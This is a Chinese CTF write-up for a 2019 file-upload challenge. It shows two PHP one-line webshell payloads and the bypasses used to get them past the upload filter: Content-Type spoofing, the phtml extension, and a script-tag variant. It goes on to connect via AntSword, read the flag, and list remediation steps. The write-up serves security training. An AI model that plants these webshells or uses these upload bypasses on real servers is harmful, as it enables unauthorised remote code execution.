[极客大挑战 2019]Upload
[极客大挑战 2019]Upload
解题步骤

从靶场名和页面来看是文件上传,第一步先直接上传一个普通的一句话木马
<?php@eval($_POST['pwd']);?>
判断类型
我们直接先上传 php 文件,判断是否可以直接上传或提示上传的文件类型
上传后回显表示不是图片格式,说明上传的文件格式得是图片
(1)既如此,我们进行抓包,将 Content-Type(内容类型) 改为image/png然后放包
(2)又或者我们可以将文件后缀的php改成png再进行上传,但上传png文件服务器无法作为php代码执行,我们抓包将后缀改回php,然后放包
(两种方法没什么区别,看喜欢哪种)

上传后回显not!php,说明不能上传php文件

猜测这里属于黑名单过滤,对于黑名单我们只需要将文件后缀名改成不在黑名单内的即可(黑盒情况下一个一个试),例如php1、php2、php3、phtml、ashx等等
我这边就不演示一遍一遍试了,直接将后缀改为phtml再进行上传

回显告诉我们文件包含 <? 应该有检测文件头,我们修改代码如下:
<script language="php">@eval($_POST['pwd']);</script>
虽然使用了 script 标签,但通过language='php'属性,明确表示这是PHP代码。这段代码会在服务器端被PHP解释器执行
修改完成后再进行上传,这里后缀依旧是phtml

回显上传成功,我们访问一下文件路径/upload/你的文件名.phtml如下:

连接服务器
接下来为了方便我们使用webshell连接工具连接服务器,我这边使用的是蚁剑
连接成功后在根目录下找到flag文件,若没找到flag或找到后打不开,可能是曾经使用过蚁剑,这里刷新一下就正常找到或打开文件

最后得到flag
flag{55c2d8ce-a939-4d15-bd71-b1087070ca6d}
修复建议
-
服务器配置
(1)将上传目录和上传文件设置为不可执行, 杜绝脚本执行。
(2)应保证服务器安全,避免文件解析漏洞。 -
在服务端对上传文件进行检查:
(1)使用白名单控制上传文件类型,即只允许指定扩展名的文件上传。
(2)对上传文件后缀与MIME Type进行匹配校验, 对文件头信息与文件后缀进行匹配校验。
(3)对单个文件大小和总文件数进行限制, 避免拒绝服务攻击。
(4)对文件名进行输入校验,显示时进行输出编码。 -
文件存储:
(1)上传文件应保存在指定路径下。
(2)对上传文件进行随机数重命名,避免文件被覆盖。
(3)设置上传文件路径, 使用户不能轻易访问自己上传的文件 。
(4) 文件应尽量保存在内容服务器或web目录外部,避免通过web应用直接访问上传的文件。 -
对于图片文件进行二次渲染、压缩, 避免图片写马。
-
校验失败后,记录错误日志信息,内容至少包括时间、用户、IP、操作内容、校验失败的参数及参数内容等。

浙公网安备 33010602011771号